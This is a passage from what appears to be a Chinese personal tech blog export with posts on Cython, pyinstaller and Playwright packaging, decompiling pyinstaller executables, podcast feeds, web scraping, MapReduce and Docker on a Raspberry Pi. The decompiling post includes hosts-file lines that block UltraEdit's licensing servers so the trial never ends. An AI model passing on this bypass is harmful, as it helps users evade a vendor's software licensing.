<h4 id="使用py2exe，pyinstaller"><a href="#使用py2exe，pyinstaller" class="headerlink" title="使用py2exe，pyinstaller"></a>使用py2exe，pyinstaller</h4><h4 id="使用Cpython"><a href="#使用Cpython" class="headerlink" title="使用Cpython"></a>使用Cpython</h4><h5 id="思路-2"><a href="#思路-2" class="headerlink" title="思路"></a>思路</h5><p>Cpython将py和pyx编译为c文件，再将c文件编译为so或pyd，除了能够带来性能的提升，另一个好处时难以破解。</p>
<h5 id="方法："><a href="#方法：" class="headerlink" title="方法："></a>方法：</h5><ol>
<li><p>编写hello.pyx或hello.py：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hello</span><span class="hljs-params">()</span>:</span><br>    print(<span class="hljs-string">'hello'</span>)<br></code></pre></td></tr></table></figure>
</li>
<li><p>编写setup.py</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> distutils.core <span class="hljs-keyword">import</span> setup<br><span class="hljs-keyword">from</span> Cython.Build <span class="hljs-keyword">import</span> cythonize<br>setup(name=<span class="hljs-string">'Hello World app'</span>,<br>     ext_modules=cythonize(<span class="hljs-string">'hello.py'</span>))<br></code></pre></td></tr></table></figure>
</li>
<li><p>编译为c，再进一步编译为so或pyd</p>
<p><code>python setup.py build_ext --inplace</code></p>
<p>执行<code>python -c &quot;from hello import hello;hello()&quot;</code>即可直接引用生成的二进制文件中的hello()函数。</p>
</li>
</ol>
<h5 id="优点-2"><a href="#优点-2" class="headerlink" title="优点"></a>优点</h5><ul>
<li>生成的二进制so或pyd文件难以破解</li>
<li>同时带来了性能提升</li>
</ul>
<h5 id="不足-2"><a href="#不足-2" class="headerlink" title="不足"></a>不足</h5><ul>
<li>兼容性稍差，对于不同版本的操作系统，可能需要重新编译</li>
<li>虽然支持大多数的python代码，但如果一旦发现部分代码不支持，完善成本较高</li>
</ul>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>播客Feed订阅</title>
    <url>/2018/08/03/podcast/</url>
    <content><![CDATA[<h2 id="🎧-使用-iPhone-Safari-Android-系统浏览器，打开本网页，点击下方播客名字，即可添加订阅到播客应用"><a href="#🎧-使用-iPhone-Safari-Android-系统浏览器，打开本网页，点击下方播客名字，即可添加订阅到播客应用" class="headerlink" title="🎧 使用 iPhone Safari / Android 系统浏览器，打开本网页，点击下方播客名字，即可添加订阅到播客应用"></a>🎧 使用 iPhone Safari / Android 系统浏览器，打开本网页，点击下方播客名字，即可添加订阅到播客应用</h2><p>添加到： <a class="link"   href="javascript:;" >RSS<i class="fas fa-external-link-alt"></i></a>、 <a class="link"   href="javascript:;" >iTunes<i class="fas fa-external-link-alt"></i></a>、 <a class="link"   href="javascript:;" >苹果播客<i class="fas fa-external-link-alt"></i></a>、 <a class="link"   href="javascript:;" >Overcast<i class="fas fa-external-link-alt"></i></a>、 <a class="link"   href="javascript:;" >Castro<i class="fas fa-external-link-alt"></i></a>、 <a class="link"   href="javascript:;" >Pocket Casts<i class="fas fa-external-link-alt"></i></a></p>
<ul>
<li><a class="link"   href="http://getpodcast.xyz/data/163/347933122.xml"  target="_blank" rel="noopener">看理想《一千零一夜》<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/163/335408074.xml"  target="_blank" rel="noopener">看理想《圆桌派》<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/318375.xml"  target="_blank" rel="noopener">原来是这样？！<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/5574153.xml"  target="_blank" rel="noopener">日谈公园<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/3558668.xml"  target="_blank" rel="noopener">黑水公园<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/AlvinBachman-wxjx.xml"  target="_blank" rel="noopener">黑水公园：微信精选推送(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/AlvinBachman-hsgt.xml"  target="_blank" rel="noopener">黑水怪谈(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/AlvinBachman-jhmh.xml"  target="_blank" rel="noopener">金花漫话(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/AlvinBachman-hsj.xml"  target="_blank" rel="noopener">黑水记(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/4127591.xml"  target="_blank" rel="noopener">反派影评<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/fanpaidy-erbianfeng.xml"  target="_blank" rel="noopener">反派影评：耳边风(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/fanpaidy-mahoupao.xml"  target="_blank" rel="noopener">反派影评：马后炮(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/yeshixiajiu-wx.xml"  target="_blank" rel="noopener">野史下酒：微信推送<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/286119.xml"  target="_blank" rel="noopener">鬼影人间<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/3475911.xml"  target="_blank" rel="noopener">观复嘟嘟<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/8475135.xml"  target="_blank" rel="noopener">冬吴同学会<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/269179.xml"  target="_blank" rel="noopener">吴晓波频道<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/artist-6042491.xml"  target="_blank" rel="noopener">诗展侃历史<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/4410130.xml"  target="_blank" rel="noopener">有话说历史<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/artist-34428115.xml"  target="_blank" rel="noopener">历史趣谈<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/3144025.xml"  target="_blank" rel="noopener">大力史<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/305920.xml"  target="_blank" rel="noopener">朴素心理学<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/14393-jl.xml"  target="_blank" rel="noopener">这事儿我跟你讲<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/1327980.xml"  target="_blank" rel="noopener">北京话事人<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/10463703.xml"  target="_blank" rel="noopener">发发大王<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/1088048.xml"  target="_blank" rel="noopener">齐齐酷咖<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/13461.xml"  target="_blank" rel="noopener">糖蒜广播<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/1915381.xml"  target="_blank" rel="noopener">漫藏道<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/3520818.xml"  target="_blank" rel="noopener">丁丁说车<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/163/12.xml"  target="_blank" rel="noopener">王东电台<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/3493173.xml"  target="_blank" rel="noopener">糗事播报<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/12365010.xml"  target="_blank" rel="noopener">讨厌在城市读书<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/2017105.xml"  target="_blank" rel="noopener">游戏时光-VGtime<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/7382293.xml"  target="_blank" rel="noopener">VG聊天室<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/2823309.xml"  target="_blank" rel="noopener">虎嗅·商业有味道<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/12082714.xml"  target="_blank" rel="noopener">晓评<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/163/331833058.xml"  target="_blank" rel="noopener">读书有疑<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/3385980.xml"  target="_blank" rel="noopener">静说日本<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/376177.xml"  target="_blank" rel="noopener">三联•听周刊<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/qingting/239012.xml"  target="_blank" rel="noopener">晓说2018<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/163/526658707.xml"  target="_blank" rel="noopener">可以谈<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/163/5904006.xml"  target="_blank" rel="noopener">婊酱FM<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/12884.xml"  target="_blank" rel="noopener">迷失音乐<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://1up.fireside.fm/rss"  target="_blank" rel="noopener">1UP 播客<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://ydlbk.com/?feed=podcast"  target="_blank" rel="noopener">友的聊播客<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/5112065.xml"  target="_blank" rel="noopener">美术史<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/weixin/zhangzhaozhong45-jzsp.xml"  target="_blank" rel="noopener">局座召忠：局座时评(微信)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/4084046.xml"  target="_blank" rel="noopener">科学声音龙门阵<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/ximalaya/14233547.xml"  target="_blank" rel="noopener">36氪·硅谷早知道 第二季<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/1359641.xml"  target="_blank" rel="noopener">看理想《局部 第一季》<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="http://getpodcast.xyz/data/lizhi/1292203.xml"  target="_blank" rel="noopener">看理想《听说 第一季》<i class="fas fa-external-link-alt"></i></a></li>
</ul>
]]></content>
      <categories>
        <category>docs</category>
        <category>podcast</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>podcast,study,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>Playwright使用pyinstaller进行打包,以及下载文件处理</title>
    <url>/2021/10/14/playwright-pyinstaller/</url>
    <content><![CDATA[<h2 id="pyinstaller-打包"><a href="#pyinstaller-打包" class="headerlink" title="pyinstaller 打包"></a>pyinstaller 打包</h2><p>一直使用 <strong>pipenv</strong> 虚拟环境管理器，在创建自动化任务移植到其他电脑环境进行使用的时候，需要📦为exe程序，但是不知道如何调用 <strong>Playwright</strong> 的 <strong>webdriver</strong><br>看到百度上没有什么可用的信息，在 <strong>Playwright</strong> 官方github 一个网友提供的解决方案可以完美解决这个问题。</p>
<p>记录一下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> sys <span class="hljs-keyword">import</span> modules<br><span class="hljs-keyword">from</span> os <span class="hljs-keyword">import</span> listdir, path<br><span class="hljs-keyword">from</span> pathlib <span class="hljs-keyword">import</span> Path<br><span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> Union<br><span class="hljs-keyword">from</span> playwright <span class="hljs-keyword">import</span> sync_api<br><br><span class="hljs-comment">#获取webdriver的路径地址，下面是chromium的，对应的webkit和firefox需要对应的更改路径，webkit在上层路径</span><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_executable_path</span><span class="hljs-params">()</span> -&gt; Union[str, <span class="hljs-keyword">None</span>]:</span><br>    parent_folder = Path(modules[<span class="hljs-string">'playwright'</span>].__file__).parent / <span class="hljs-string">'driver'</span> / <span class="hljs-string">'package'</span> / <span class="hljs-string">'.local-browsers'</span><br><br>    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> path.exists(parent_folder):<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span><br><br>    child_folders = [name <span class="hljs-keyword">for</span> name <span class="hljs-keyword">in</span> listdir(parent_folder) <span class="hljs-keyword">if</span> path.isdir(parent_folder / name) <span class="hljs-keyword">and</span> name.strip().lower().startswith(<span class="hljs-string">'chromium'</span>)]<br><br>    <span class="hljs-keyword">if</span> len(child_folders) != <span class="hljs-number">1</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span><br><br>    chromium_folder = child_folders[<span class="hljs-number">0</span>]<br><br>    <span class="hljs-keyword">return</span> parent_folder / chromium_folder / <span class="hljs-string">'chrome-win'</span> / <span class="hljs-string">'chrome.exe'</span><br><br><br><span class="hljs-keyword">with</span> sync_api.sync_playwright() <span class="hljs-keyword">as</span> p:<br>    executable_path = get_executable_path()<br><br>    <span class="hljs-keyword">if</span> executable_path:<br>        browser = p.chromium.launch(<br>            headless=<span class="hljs-literal">False</span>,<br>            executable_path=executable_path<br>        )<br>        page = browser.new_page()<br>        page.goto(<span class="hljs-string">"http://playwright.dev"</span>)<br>        print(page.title())<br>        browser.close()<br></code></pre></td></tr></table></figure>
<p>调用和打包</p>
<blockquote>
<p>CALL pip install playwright pyinstaller<br>CALL SET PLAYWRIGHT_BROWSERS_PATH=0<br>CALL playwright install chromium<br>CALL pyinstaller -y -F main.py –add-data “venv/lib/site-packages/playwright/driver;playwright/driver”</p>
</blockquote>
<h2 id="下载处理"><a href="#下载处理" class="headerlink" title="下载处理"></a>下载处理</h2><p>查看官方的 <a href="https://playwright.dev/python/docs/api/class-download/#download-save-as" target="_blank" rel="noopener"><strong>Python</strong> 版本文档</a>对于下载的调用写的不太清晰。<br><code>download.suggested_filename</code> 这个接口，可能会因使用的 driver 不同获取到的下载文件名不同。文件名通常由浏览器根据 Content-Disposition 响应标头或下载属性计算得出。具体参见 <a href="https://html.spec.whatwg.org/#downloading-resources" target="_blank" rel="noopener"><strong>whatwg</strong></a> 协议</p>
<blockquote>
<p>In some cases, resources are intended for later use rather than immediate viewing. To indicate that a resource is intended to be downloaded for use later, rather than immediately used, the download attribute can be specified on the a or area element that creates the hyperlink to that resource.</p>
</blockquote>
<blockquote>
<p>The attribute can furthermore be given a value, to specify the filename that user agents are to use when storing the resource in a file system. This value can be overridden by the <code>Content-Disposition</code> HTTP header’s filename parameters. [RFC6266]</p>
</blockquote>
<blockquote>
<p>In cross-origin situations, the download attribute has to be combined with the <code>Content-Disposition</code> HTTP header, specifically with the attachment disposition type, to avoid the user being warned of possibly nefarious activity. (This is to protect users from being made to download sensitive personal or confidential information without their full understanding.)</p>
</blockquote>
<p>正常情况下 <code>download.suggested_filename</code> 是可以获取到下载的文件名的。<br>但是如果需要将文件存储到特定位置在调用 <code>download.save_as(path)</code> 这个接口的时候，官方文档写的是 <strong>Path where the download should be copied.</strong> 也可能是我理解有问题，我直接将存储路径存储传给这个接口，发现不能正常执行。最终发现<strong>需要将完整的包含文件名的路径放作为path</strong> 才可以。<br>btw <strong>download.suggested_filename</strong> 可以用来判断文件是否下载完成。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python,Playwright,pyinstaller</tag>
      </tags>
  </entry>
  <entry>
    <title>python-analytics</title>
    <url>/2016/09/08/python-analytics/</url>
    <content><![CDATA[<p>最近小红说要买个二手房，让我帮忙看一下二手房的信息，嗯毕竟买房是个麻烦事，而近一个月济南房价真是<strong>涨疯</strong>了。</p>
<p>刚好现在学python，正好可以拿来作为练手，想要实现二手房的价格数据分析。</p>
<p>首先想了一下基本的逻辑，先从58同城爬取一下以区域划分的房源信息。</p>
<p>1.首先使用Chrome调试工具分析出页面中的信息所在tag的位置，通过BeautifulSoup或正则re或lxml这三个Modules分析出信息。</p>
<p>由于三个Modules掌握都不熟练所以这混合了这三种模块。</p>
<p><img src="http://ww3.sinaimg.cn/large/89de77d7jw1f7lceb33g6j20h00extcz.jpg" alt="python"></p>
<p>通过输入可以选择不同的行政区进行数据的选择。</p>
<p>只有数据还不够直观，通过地理位置的抓取和高德地图的逆解析得到房源信息的坐标，然后展示到地图上。嗯 就这么干…</p>
<p><img src="http://ww2.sinaimg.cn/large/89de77d7jw1f7lco2xme7j20gt0gsgog.jpg" alt="python-amp"></p>
<p>在匹配数据的过程中，发现会被高德(阿里)的服务器拒绝，所以加了延时500ms。</p>
<p><img src="http://ww3.sinaimg.cn/large/89de77d7jw1f7lcu3g5qxj211y0kgwse.jpg" alt="python-data"></p>
<p>爬取得到的房源数据</p>
<p><img src="http://ww2.sinaimg.cn/large/89de77d7jw1f7lcx3fbmlj20wx0g0wmj.jpg" alt="lat-python"></p>
<p>你解析得到的坐标数据</p>
<p>放到页面上，<a class="link"   href="http://warm.pe.hu/xiaohong-house/alpha.html"  target="_blank" rel="noopener">alpha_version<i class="fas fa-external-link-alt"></i></a> 可解析出房源所在位置附近的商圈。</p>
<p>觉得有点丑，然后又有了第二个版本<a class="link"   href="http://warm.pe.hu/xiaohong-house/2nd.html"  target="_blank" rel="noopener">2nd<i class="fas fa-external-link-alt"></i></a> 在此版本中发现，如果坐标一样或者坐标太近等原因导致大量的数据没有被展现出来。然后又有了第三个版本。热点<a class="link"   href="http://warm.pe.hu/xiaohong-house/3.html"  target="_blank" rel="noopener">Heatmap<i class="fas fa-external-link-alt"></i></a></p>
<p>好吧，轮子造到这里。鉴于近期济南房价的<strong>疯狂涨势</strong>,留着数据，一个月后再爬取一下，再做个涨幅数据的分析。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>反编译pyinstaller生成的exe程序</title>
    <url>/2020/08/31/pyexe2py/</url>
    <content><![CDATA[<p>帮别人做了一个项目，需要exe执行，使用pyinstaller进行了打包操作，发给用户后，然后源文件没有放网盘，客户还需要修改一个东西。现在手头只有一个exe，总不能把时间浪费在路上毕竟这不是人干的事。</p>
<a id="more"></a>

<h2 id="1-将exe反编译为pyc"><a href="#1-将exe反编译为pyc" class="headerlink" title="1. 将exe反编译为pyc"></a>1. 将exe反编译为pyc</h2><p>使用<code>pyinstxtractor</code> 将exe进行反编译，提取由<code>pyinstaller</code> 生成的可执行文件内容。</p>
<p>pyinstaller Extractor项目地址<a class="link"   href="https://github.com/extremecoders-re/pyinstxtractor"  target="_blank" rel="noopener">extractor<i class="fas fa-external-link-alt"></i></a></p>
<p>Useage:</p>
<p><code>python pyinstxtractor.py Main.exe</code></p>
<p>运行后可以得到一个提取的文件夹</p>
<p><img src="https://images.yrzdm.com/imgs/20200831/4oJRC13xJOxt.png?imageslim" alt="提取目录">))</p>
<h2 id="使用Uncompyle6反编译-pyc-文件"><a href="#使用Uncompyle6反编译-pyc-文件" class="headerlink" title="使用Uncompyle6反编译 *.pyc 文件"></a>使用Uncompyle6反编译 *.pyc 文件</h2><p>使用了在线版本pyc转py，尝试了几个网站都不能正常的反编译。看到<code>uncompyle2</code>的后续版本<code>uncompyle6</code></p>
<p>项目地址：<a class="link"   href="https://github.com/rocky/python-uncompyle6/"  target="_blank" rel="noopener">uncompyle6<i class="fas fa-external-link-alt"></i></a></p>
<p>如果直接使用<code>uncompyle6</code> 进行反编译可能会遇到以下两种报错情况，别问我怎么知道的。</p>
<p>1.<code>ImportError: Unknown magic number 227 in bit.pyc</code></p>
<p>2.<code>bad marshal data (unknown type code)</code></p>
<p>在使用<code>uncompyle6</code>之前我们需要二进制编辑软件，我用的是<code>Ultraedit</code></p>
<h4 id="UltraEdit-27-0-0-94-官方简体中文版安装包-2020-07-31"><a href="#UltraEdit-27-0-0-94-官方简体中文版安装包-2020-07-31" class="headerlink" title="UltraEdit 27.0.0.94 官方简体中文版安装包 [2020/07/31]"></a>UltraEdit 27.0.0.94 官方简体中文版安装包 [2020/07/31]</h4><p>x86 <a class="link"   href="https://downloads.ultraedit.com/main/ue/win/ue_chinese.exe"  target="_blank" rel="noopener">https://downloads.ultraedit.com/main/ue/win/ue_chinese.exe<i class="fas fa-external-link-alt"></i></a><br>x64 <a class="link"   href="https://downloads.ultraedit.com/main/ue/win/ue_chinese_64.exe"  target="_blank" rel="noopener">https://downloads.ultraedit.com/main/ue/win/ue_chinese_64.exe<i class="fas fa-external-link-alt"></i></a></p>
<p>解决ultraedit 试用期的问题，只需要在<code>hosts</code>文件中添加以下两行：</p>
<figure class="highlight accesslog"><table><tr><td class="code"><pre><code class="hljs accesslog"><span class="hljs-number">127.0.0.1</span> licensing.ultraedit.com<br><span class="hljs-number">127.0.0.1</span> swupdate.ultraedit.com<br></code></pre></td></tr></table></figure>

<p>使用UltraEdit打开提取目录中的struct.pyc文件，复制0-F 二进制数据粘贴到源码pyc中。</p>
<p><img src="https://images.yrzdm.com/imgs/20200831/EpNLrvBGANRl.png?imageslim" alt="struct.pyc"></p>
<p>接下来使用：</p>
<p><code>uncompyle6 bit.pyc &gt; bit.py</code></p>
<p>即可得到我们反编译后的源码文件了。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python,Pyinstaller</tag>
      </tags>
  </entry>
  <entry>
    <title>python-map-reduce</title>
    <url>/2016/09/26/python-map-reduce/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200229/yeRGwfwD44nt.png?imageslim" alt="mark"><br>在Python里内建了Map和Reduce 函数，一开始怎么也看不明白，看图识也不明白。</p>
<a id="more"></a>

<p>直到看了”MapReduce:Simplified Data Processing on Large Clusters” <a class="link"   href="https://www.cs.utexas.edu/~pingali/CS395T/2012sp/lectures/MR-nikhil-panpalia.pdf"  target="_blank" rel="noopener">link<i class="fas fa-external-link-alt"></i></a>（面向大型集群的简化数据处理）这个论文来自GOOGLE.<br><img src="http://www.liaoxuefeng.com/files/attachments/0013879622109990efbf9d781704b02994ba96765595f56000/0" alt="MAP"><br>Map(映射)Reduce(化简)<br>MapRedce 既是一种编程模型，也是一种与之关联的、用于处理和产生大数据集的实现。用户要特化一个map程序去处理key/value对，并产生中间key/value对的集合，以及一个Reduce程序去合并有着相同key的所有中间key/value对。</p>
<p>用这种函数风格写出的程序自动就拥有了在一个大的PC机集群上并执行的能力。运行时系统会负责细节：切分输入数据，在一组机器上调度执行程序，处理机器错误，以及管理所需的机器间通信。这允许不具备任何并行和分布式系统经验的程序员也能轻松地利用一个大型分布式系统的资源。<br>我们的MapReduce实现运行在一个大型PC机集群上，且具有很好的扩展性：一个典型的MapReduce作业运行在Google的集群上。<br><strong>编程模型</strong><br>计算过程就是输入一组key/value对，再生成一组key/value对。MapReduce库的使用者用两个函数来表示这个过程：map和reduce。</p>
<p>map由使用者编写,使用一个输入key/value对，生成一组中间key/value对。MapReduce库将有着相同中间Key I中间的value都组合在一起，再传给reduce函数。<br>reduce也由使用者编写，它接受一个中间Key I 和一组与I对应的value.他将这些value合并为一个可能更小的value集合。通常每个reduce调用只产生0或1输出value.中间value是通过一个迭代器提供给reduce函数的。这允许我们操作那些因为大到找不到连续存放的内存而使用链表的value集合。</p>
<p>Example:</p>
<figure class="highlight q"><table><tr><td class="code"><pre><code class="hljs q"><span class="hljs-built_in">key</span>,String <span class="hljs-built_in">value</span>):<br>       <span class="hljs-comment">//key:文档名</span><br>       <span class="hljs-comment">//value：文档内容</span><br>       for <span class="hljs-built_in">each</span> word w in <span class="hljs-built_in">value</span>:<br>           EmitIntermediate(w,<span class="hljs-string">"1"</span>);<br>reduce(Stringkey,Iterator values):<br>    <span class="hljs-comment">//key:一个单词</span><br>    <span class="hljs-comment">//value:计数值列表</span><br>    <span class="hljs-type">int</span> result = <span class="hljs-number">0</span>;<br>    for <span class="hljs-built_in">each</span> v in values:<br>        result += ParseInt(v);<br>    Emit(AsString(result));<br></code></pre></td></tr></table></figure>

<p>map函数将每个单词与出现次数一同输出（↑例子中鸡蛋的那输出“1”）reduce函数将针对某个特定词输出的次数都合并相加。</p>
<p>另外，使用者要写代码填充一个符合MapReduce规格的对象，内容包括输入和输出文件的名字，以及可选的调节参数。之后使用者调用MapReduce函数，将指定到对象传进去。用户代码会与MapReduce库链接到一起。</p>
<p><strong>实现</strong><br>许多不同的MapReduce的实现都是可行的。选择哪一个要取决于环境。例如，一种实现可能适合于小型的共享内存机器，一种实现可能适合于大型的NUMA多处理器机器，而另一种则适合于更大型的联网机器集。</p>
<p>本部分描述的实现主要面向Google内部广泛使用的计算环境：大型的商用PC机集群，互相之间用交换式以太网连接。我们的环境是：</p>
<p>主要使用的机器为双核X86处理器，运行Linux系统，每台机器的内存从2GB到4GB不等。</p>
<p>使用的都是商用网络硬件设备——在机器层面上通常从100Mbps到1Gbps不等，但平均起来要比总带宽的一半少很多。</p>
<p>集群中拥有数百或数千台机器，因此机器错误经常出现。</p>
<p>每台机器都使用廉价的IDE硬盘来提供存储功能。我们使用一种内部开发的分布式文件系统来管理这些磁盘上的数据。这个文件系统通过复制的方法在不可靠的硬件之上提供了实用性与可靠性。</p>
<p>用户向一个调度系统提交作业。每个作业包括了一个任务集，会由调度器调度到集群内可用的一组机器上。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>树莓派安装docker坑点记录</title>
    <url>/2021/01/15/raspberry-docker-ce/</url>
    <content><![CDATA[<ol>
<li><p>首先查看cpu的架构</p>
<p><code>lscpu</code></p>
<p>arm64和armhf的区别：</p>
<p>armv7代表的是32bit，armv8是第一个arm64架构</p>
</li>
<li><p>查看系统版本</p>
<p><code>cat /etc/debian_vesion</code></p>
</li>
<li><p>添加docker-ce源头</p>
<p><code>sudo nano /etc/apt/sources.list</code></p>
<p>如果系统为9.0 添加</p>
<p><code>deb [arch=armhf] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian stretch stable</code></p>
<p>如果系统为8.0 添加</p>
<p><code>deb [arch=armhf] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian jessie stable</code> </p>
</li>
<li><p>保存后更新安装：</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><code class="hljs shell">sudo apt-get update<br>sudo apt-get install docker-ce docker-ce-cli containerd.io<br></code></pre></td></tr></table></figure>
</li>
<li><p>列出可用的repo</p>
<p><code>apt-cache madison docker-ce</code></p>
<p>选择一个版本进行安装</p>
<p><code>sudo apt-get install docker-ce=&lt;VERSION_STRING&gt; docker-ce-cli=&lt;VERSION_STRING&gt; containerd.io</code></p>
</li>
<li><p>验证Docker Engine 是否安装成功。</p>
<p><code>sudo docker run hello-world</code></p>
<p>如果需要更新Docker Engine 需要先更新系统 <code>sudo apt-get update</code> 然后按照上面的安装程序选择版本进行安装</p>
</li>
<li><p>卸载Docker Engine</p>
<p><code>sudo apt-get purge docker-ce docker-ce-cli containerd.io</code></p>
<p>删除镜像</p>
<p><code>sudo rm -rf /var/lib/docker</code></p>
<p><code>sudo rm -rf /var/lib/containerd</code></p>
</li>
<li><p>查看docker版本</p>
<p><code>doceker version</code></p>
</li>
<li><p>将当前用户添加到docker用户组</p>
<p><code>sudo usermod -aG docker $USER</code></p>
</li>
<li><p>docker-compose安装</p>
<blockquote>
<p>docker 需要依赖py-pip<code>,</code>python-dev<code>,</code>libffi-dev<code>,</code>openssl-dev<code>,</code>gcc<code>,</code>libc-dev 和make组件</p>
</blockquote>
<p>​       安装docker-compose的方法有多种，可以直接使用pip进行安装</p>
<p>​       <code>pip3 install doceker-compose</code></p>
</li>
<li><p>验证 docker-compose</p>
<p><code>docekr-compose --version</code></p>
</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>pymssql使用pyinstaller打包报错的问题</title>
    <url>/2021/06/04/pymssql/</url>
    <content><![CDATA[<p>最近处理一个程序是sqlserver的使用了pymssql这个库，调试完成后使用pyinstaller打包，运行后出错。</p>
